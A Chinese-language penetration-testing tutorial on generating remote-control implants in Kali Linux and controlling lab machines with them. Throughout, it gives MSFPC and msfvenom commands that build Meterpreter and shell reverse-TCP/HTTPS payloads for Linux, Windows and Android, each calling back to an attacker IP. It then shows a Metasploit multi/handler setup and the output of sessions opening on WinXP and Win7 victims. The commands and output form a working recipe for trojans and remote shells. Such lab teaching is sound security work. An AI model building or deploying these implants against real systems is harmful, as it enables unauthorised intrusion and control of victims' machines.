> 文档中心 > Kali渗透测试:远程控制程序基础

Kali渗透测试:远程控制程序基础


Kali渗透测试:远程控制程序基础


测试环境:

攻击机:Linux kali 5.16.0-kali (IP:192.168.68.248)

靶机:WinXP (IP:192.168.68.159) Win7 (IP:192.168.68.206)

1. 使用MSFPC生成被控端

远程控制软件中的被控端和主控端必须是成对使用的。被控端运行在目标设备上,其功能挺起来和木马很像,实际上是如此,被控端(可以是一段代码,也可以是一个能直接执行的程序)。在Kali Linux 中提供了一个名为MSFPC(全称:MSFvenom Payload Creator)的工具,如下图所示

Kali渗透测试:远程控制程序基础

MSFPC也是一个靠命令来完成任务的工具,但是要比MSFvenom的语法简单。启动后提供了各种类型的被控端,如下图红框所示:

Kali渗透测试:远程控制程序基础

【1】构造被控端命令

构造一个可以在Linux操作系统下运行的被控端,这里只向MSFPC传递一个参数,命令如下:

┌──(kali㉿kali)-[~]└─$ msfpc linux

接下来,我们只向MSFPC提供被控端运行的操作系统,要将该操作系统作为一个反向的木马被控端还需要添加主控端端IP地址,默认情况下,MSFPC会要求你进行选择, 如下所示:

┌──(kali㉿kali)-[~]└─$ msfpc linux [*] MSFvenom Payload Creator (MSFPC v1.4.5) [i] Use which interface - IP address?: [i]   1.) lo - 127.0.0.1 [i]   2.) eth0 - 192.168.68.248 [i]   3.) wan - 122.143.34.227 [?] Select 1-3, interface or IP address: 

根据上面的提示,选择2.)eth0选项作为主控端IP地址。运行之后,可以看到被控端生成,如下所示:

 [i] Use which interface - IP address?: [i]   1.) lo - 127.0.0.1 [i]   2.) eth0 - 192.168.68.248 [i]   3.) wan - 122.143.34.227 [?] Select 1-3, interface or IP address: 2# 选择2# 被控端生成 [i]   IP: 192.168.68.248 [i] PORT: 443 [i] TYPE: linux (linux/x86/shell/reverse_tcp) [i]  CMD: msfvenom -p linux/x86/shell/reverse_tcp -f elf \  --platform linux -a x86 -e generic/none LHOST=192.168.68.248 LPORT=443 \  > '/home/kali/linux-shell-staged-reverse-tcp-443.elf' [i] linux shell created: '/home/kali/linux-shell-staged-reverse-tcp-443.elf' [i] MSF handler file: '/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc' [i] Run: msfconsole -q -r '/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc' [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080 [*] Done!

从执行结果可以看到被控端的一些信息,其中CMD后面的内容就是和MSFPC命令效果相同的msfvenom命令,也就是说,在kali终端中直接使用这段命令也可以生成相同的被控端。

【2】配置主控端handler

有了这个被控端,还应该有一个对应的主控端, 这个可以通过在Metasploit中配置handler来实现。不过MSFC提供了一个非常方便的脚本,执行结果中的"MSF handler file"里面就是这个脚本的内容,如下所示:

 [i] MSF handler file: '/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc'

在终端执行“Run:”后面的命令:

sudo msfconsole -q -r '/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc'[sudo] password for kali: [*] Processing /home/kali/linux-shell-staged-reverse-tcp-443-elf.rc for ERB directives.resource (/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc)> use exploit/multi/handler[*] Using configured payload generic/shell_reverse_tcpresource (/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc)> set PAYLOAD linux/x86/shell/reverse_tcpPAYLOAD => linux/x86/shell/reverse_tcpresource (/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc)> set LHOST 192.168.68.248LHOST => 192.168.68.248resource (/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc)> set LPORT 443LPORT => 443resource (/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc)> set ExitOnSession falseExitOnSession => falseresource (/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc)> set EnableStageEncoding trueEnableStageEncoding => trueresource (/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc)> run -j[*] Exploit running as background job 0.[*] Exploit completed, but no session was created.[*] Starting persistent handler(s)...[*] Started reverse TCP handler on 192.168.68.248:443    #  建立好的hanldermsf6 exploit(multi/handler) >  

一旦被控端在目标系统运行起来,就可以使用handler控制目标系统。

利用相同方法建立Windows操作系统下和Android操作系统下的被控端。首先生成Windows操作系统的被控端,生成命令如下:

┌──(kali㉿kali)-[~]└─$ msfpc windows 192.168.68.248 [*] MSFvenom Payload Creator (MSFPC v1.4.5) [i]   IP: 192.168.68.248 [i] PORT: 443 [i] TYPE: windows (windows/meterpreter/reverse_tcp) [i]  CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \  --platform windows -a x86 -e generic/none LHOST=192.168.68.248 LPORT=443 \  > '/home/kali/windows-meterpreter-staged-reverse-tcp-443.exe' [i] windows meterpreter created: '/home/kali/windows-meterpreter-staged-reverse-tcp-443.exe' [i] MSF handler file: '/home/kali/windows-meterpreter-staged-reverse-tcp-443-exe.rc' [i] Run: msfconsole -q -r '/home/kali/windows-meterpreter-staged-reverse-tcp-443-exe.rc' [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080 [*] Done!

默认情况下,被控端与主控端的通信都使用TCP。如果需要加密通信的话,也可以考虑生成HTTPS通信的Android操作系统被控端,生成命令如下:

┌──(kali㉿kali)-[~]└─$ msfpc apk https 192.168.68.248 [*] MSFvenom Payload Creator (MSFPC v1.4.5) [i]   IP: 192.168.68.248 [i] PORT: 443 [i] TYPE: android (android/meterpreter/reverse_https) [i]  CMD: msfvenom -p android/meterpreter/reverse_https \  LHOST=192.168.68.248 LPORT=443 \  > '/home/kali/android-meterpreter-stageless-reverse-https-443.apk' [i] android meterpreter created: '/home/kali/android-meterpreter-stageless-reverse-https-443.apk' [i] MSF handler file: '/home/kali/android-meterpreter-stageless-reverse-https-443-apk.rc' [i] Run: msfconsole -q -r '/home/kali/android-meterpreter-stageless-reverse-https-443-apk.rc' [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080 [*] Done!

2. Kali中使用msfvenom命令生成被控端

这个命令是新版本的Metasploit将msfpayload(生成攻击载荷)和msfencode(对攻击载荷编码)合成的。以windows为例,命令如下:

# lhost=ip lport=port  =两边没有空格┌──(kali㉿kali)-[~]└─$ sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.68.248 lport=5000 -f exe -o  /root/payload.exe[sudo] password for kali: [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload[-] No arch selected, selecting arch: x86 from the payloadNo encoder specified, outputting raw payloadPayload size: 354 bytesFinal size of exe file: 73802 bytesSaved as: /root/payload.exe

msfvenom命令生成一个被控端,使用的被控端就是一个用于Windows操作系统的反向远程控制软件,即windows/meterpreter/reverse_tcp,它的参数lhost的值为192.168.68.248(是Kali Linux虚拟机的IP地址)。生成的被控端文件如下图所示:

Kali渗透测试:远程控制程序基础

3. 查看生成的攻击载荷的详细信息

如果不了解某个攻击载荷的使用方法,可以通过参数–list-options来查看这个攻击载荷需要设置的参数,命令如下:

┌──(kali㉿kali)-[~]└─$ msfvenom --list-options -p windows/meterpreter/reverse_tcp

结果如下图所示:

Kali渗透测试:远程控制程序基础

红框内的部分就是需要设置的参数。

4. 启动主控端

被控端在靶机上运行,那么就会立刻回连到IP地址为192.168.68.248的攻击机上。但是攻击机端需要启动一个原创控制文件的主控端,打开终端,输入如下命令:

┌──(root💀kali)-[~]└─# msfconsole 

启动之后如下图所示:

Kali渗透测试:远程控制程序基础

5. 启动handler

在Metasploit中使用handler来作为主控端,这个handler位于exploit下的multi目录中,启动命令如下:

msf6 > use exploit/multi/handler[*] Using configured payload generic/shell_reverse_tcpmsf6 exploit(multi/handler) > 

6. 设置payload、lhot、lport

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set lhost 192.168.68.248lhost => 192.168.68.248msf6 exploit(multi/handler) > set lport 5000lport => 5000

7. 启动exploit

msf6 exploit(multi/handler) > exploit[*] Started reverse TCP handler on 192.168.68.248:5000 [*] Sending stage (175174 bytes) to 192.168.68.206[*] Sending stage (175174 bytes) to 192.168.68.206[-] Failed to load client portion of stdapi.[*] Meterpreter session 2 opened (192.168.68.248:5000 -> 192.168.68.206:2696 ) at 2022-05-07 15:18:02 +0800[*] Meterpreter session 1 opened (192.168.68.248:5000 -> 192.168.68.206:2695 ) at 2022-05-07 15:18:02 +0800

在靶机Win7上启动payload.exe

Kali渗透测试:远程控制程序基础

在攻击机端打开session后,出现一个meterpreter,它其实就是被控端,Meterpreter运行在内存中,通过注入DLL文件实现,在靶机上不会留有文件痕迹,Win7靶机执行dir命令如下图所示:

Kali渗透测试:远程控制程序基础

XP靶机上运行payload被控端程序,如下图所示:

Kali渗透测试:远程控制程序基础

在攻击机上执行命令dir 如下图所示:

Kali渗透测试:远程控制程序基础